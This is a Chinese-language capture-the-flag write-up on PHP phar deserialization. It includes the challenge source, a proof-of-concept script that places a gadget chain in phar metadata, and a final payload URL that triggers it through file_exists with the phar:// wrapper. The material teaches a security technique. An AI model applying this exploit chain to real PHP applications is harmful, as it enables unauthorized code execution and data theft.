phar反序列化
引入
https://paper.seebug.org/680/
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php include('flag.php'); class hello { public $name; public $welcome; public function __construct($name) { $this->name = $name; } public function simple_hello() { $this->welcome = "hello ".$this->name." welcome to ctf!"."<br/>"; echo $this->welcome; } public function __destruct() { $this->simple_hello(); echo 'test'; } } class gogogo { public $one; public $two; public function __toString() { $this->one->get_flag(); return '0'; } } class nice { public $file; public $flag; public function __construct($flag, $file) { $this->flag = $flag; $this->file = $file; } public function check() { chdir('upload'); if(file_exists($this->file.".jpg")) { echo 'file exist'."<br/>"; } else { echo 'file not exist'."<br/>"; } } public function get_flag() { echo $this->flag."<br/>"; } } @$a = $_GET['filename']; $e = new nice($flag, $a); $e->check(); ?>
|
刚刚拿到这道题的时候,发现存在多个PHP魔术方法,明显是反序列化;
但进一步审计发现并没有任何userialize的地方,经过搜索发现存在一种名为phar反序列化漏洞,即在不利用unserialize()函数的情况下,利用文件操作函数(file_exits、is_dir等)实现反序列化。
首先分析一波phar文件的结构:phar本质上是一种压缩文件,其中`meta-data`部分需要被序列化之后存储,利用该漏洞的核心便是当文件操作函数结合`phar://伪协议`时会将phar文件中的`meta-data`部分反序列化,这时我们构造的序列化攻击链就会发挥作用
其次,phar文件结构中还要添加被压缩的文件名(ex:test.jpg),之前由于一直未注意到这个问题导致题目卡了很长时间。。。。

经过以上分析,我们可以写一个php文件(该文件中已将序列化构造链传到meta-data,本体攻击链构造较为简单,就不详述),访问该php文件会在目录下生成一个phar文件:
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php class hello { public $name; public $welcome; public function simple_hello() { $this->welcome = "hello ".$this->name." welcome to ctf!"."<br/>"; echo $this->welcome; } public function __destruct() { $this->simple_hello(); echo 'test'; } } class gogogo { public $one; public $two; public function __toString() { $this->one->get_flag(); return '0'; } } class nice { public $file; public $flag; public function get_flag() { echo $this->flag."<br/>"; } } $he = new hello(); $he ->name = new gogogo(); $he ->name -> one = new nice(); $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $phar -> setMetadata($he); $phar -> stopBuffering(); ?>
|
生成`phar.phar`文件之后,将其后缀名改为.jpg直接上传,上传后在存在各种类源码的ctf.php页面传入fiename参数。(ex:`ctf.php?filename=phar://upload/phar.jpg`)
本来以为这道题就这样了,flag就会出来了,但怎么尝试上传flag就是不会回显,心态也有点崩。。。
后经大佬提示,源码中47行check()函数:
1 2 3 4 5 6 7 8 9 10 11 12
| public function check() { chdir('upload'); if(file_exists($this->file.".jpg")) { echo 'file exist'."<br/>"; } else { echo 'file not exist'."<br/>"; } }
|
发现首先会将目录切换到upload并且会在file属性后拼接一个“.jpg“,这样的话,就需要将原来添加的压缩文件名“test.txt”改为“test.jpg”以配合拼接
最终PAYLOAD:ctf.php?filename=phar://phar.jpg/test
最后更新时间: